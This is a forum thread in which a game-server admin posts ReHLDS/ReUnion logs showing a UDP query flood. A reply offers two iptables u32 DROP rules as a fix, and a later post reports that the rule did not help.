NET_SendPacket: ERROR: Operation not permitted
NET_SendPacket: ERROR: Operation not permitted
NET_SendPacket: ERROR: Operation not permitted
NET_SendPacket: ERROR: Operation not permitted
NET_SendPacket: ERROR: Operation not permitted
NET_SendPacket: ERROR: Operation not permitted
NET_SendPacket: ERROR: Operation not permitted
NET_SendPacket: ERROR: Operation not permitted
NET_SendPacket: ERROR: Operation not permitted
NET_SendPacket: ERROR: Operation not permitted
NET_SendPacket: ERROR: Operation not permitted
NET_SendPacket: ERROR: Operation not permitted
NET_SendPacket: ERROR: Operation not permitted
NET_SendPacket: ERROR: Operation not permitted
[REUNION]: Query flood blocking: 27378 pps (14.674 mbps) from 64+ IPs
NET_SendPacket: ERROR: Operation not permitted
NET_SendPacket: ERROR: Operation not permitted
Could not establish connection to Steam servers.
[REUNION]: Query flood blocking: 7523 pps (4.031 mbps) from 64+ IPs
NET_SendPacket: ERROR: Operation not permitted
NET_SendPacket: ERROR: Operation not permitted
[REUNION]: Query flood blocking: 8943 pps (4.794 mbps) from 64+ IPs
NET_SendPacket: ERROR: Operation not permitted
NET_SendPacket: ERROR: Operation not permitted

help
 
Сообщения
14
Реакции
-1
Pe4enbka, popilas, iptabels best way to fix it
add this lines
Код:
iptables -I INPUT -p udp -m u32 --u32 "26&0xFFFF=0xfeff" -j DROP
iptables -I INPUT -p udp -m u32 --u32 "24&0xffff=0x0000" -j DROP
i have same shit on last week, some school-hero sendin query flood on my servers and they freezes. few hrs of google and no more problems
so its 100% workin solution.

ps. dont forget to enable firewall and update reunion\rehlds to last version.
rule did not help
 

Пользователи, просматривающие эту тему

Сейчас на форуме нет ни одного пользователя.
Сверху Снизу